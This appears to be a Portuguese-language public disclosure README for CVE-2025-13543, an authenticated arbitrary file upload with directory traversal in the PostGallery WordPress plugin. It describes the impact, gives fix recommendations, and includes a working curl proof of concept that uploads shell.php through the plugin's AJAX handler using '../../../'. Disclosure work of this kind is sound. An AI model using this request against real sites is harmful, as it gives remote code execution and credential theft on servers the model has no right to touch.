PostGallery-CVE-Report

Divulgação para CVE-2025-13543

CVE-2025-13543 - Vulnerabilidade no PostGallery

Este repositório divulga uma vulnerabilidade descoberta no PostGallery <= 1.12.5, plugin WordPress desenvolvido por rtowebsites.

🛠 Versão Afetada

• Produto: PostGallery
• Versão: <= 1.12.5
• URL: https://wordpress.org/plugins/postgallery/

🔒 CVE Atribuído

🧾 Descrição Detalhada

CVE-2025-13543 — Upload Arbitrário de Arquivo Autenticado (Assinante+)

• Componente Afetado: Manipulador de upload AJAX do PostGallery (postgalleryAjaxUpload) e backend PostGalleryUploader
• Vetor de Ataque: Upload Arbitrário de Arquivo Autenticado (Assinante+) via travessia de diretório.
• Gatilho: Qualquer usuário autenticado com privilégios baixos (como um Assinante) pode fazer upload de arquivos PHP arbitrários para caminhos controlados pelo atacante via travessia de diretório.

curl -k -X POST "http://localhost:8080/wp-admin/admin-ajax.php" \
  -H "Cookie: wordpress_logged_in_<hash>=<your_cookie>" \
  -F "action=postgalleryAjaxUpload" \
  -F "postid=1" \
  -F "uploadFolder=../../../" \
  -F "name=shell.php" \
  -F "[email protected];type=application/x-php"

• Impacto: Qualquer usuário autenticado com privilégios baixos (como um Assinante) pode fazer upload de arquivos PHP arbitrários para caminhos controlados pelo atacante via travessia de diretório. Isso permite execução remota de código no contexto do servidor web, levando ao comprometimento total do site, incluindo modificação do conteúdo, exfiltração de wp-config.php e credenciais do banco de dados, implantação de backdoors persistentes e criação de contas de administrador falsas.

❓ Motivo da Vulnerabilidade

• Em lib/ajax-actions/imageUpload.php, aplicar autorização adequada (por exemplo, exigir current_user_can('upload_files')) e validar um nonce criptográfico antes de processar uploads.
• Em admin/PostGalleryUploader.php, restringir estritamente uploadFolder a um subdiretório conhecido de wp-content/uploads/gallery, rejeitar qualquer valor contendo ../ ou caminhos absolutos, e normalizar caminhos antes do uso.
• Utilizar APIs padrão de upload do WordPress, como wp_handle_upload() / wp_check_filetype_and_ext(), e restringir uploads a uma lista branca de tipos de mídia não executáveis, bloqueando explicitamente .php e outras extensões executáveis em diretórios acessíveis pela web.

Comentário

Não imaginava que existissem vulnerabilidades tão parecidas com CTF... Além do upload arbitrário de arquivos já ser grave, ter travessia de diretório é desesperador. Foi muito divertido reproduzir a vulnerabilidade.

🔍 Descobridor

Nome: MooseLove
Função: Pesquisador de segurança independente / caçador de bugs
Contato: Disponível mediante solicitação

📚 Referências

• Produto: https://wordpress.org/plugins/postgallery/

⚠️ Licença

Este aviso é fornecido para conscientização pública de segurança. Livre para compartilhar com atribuição.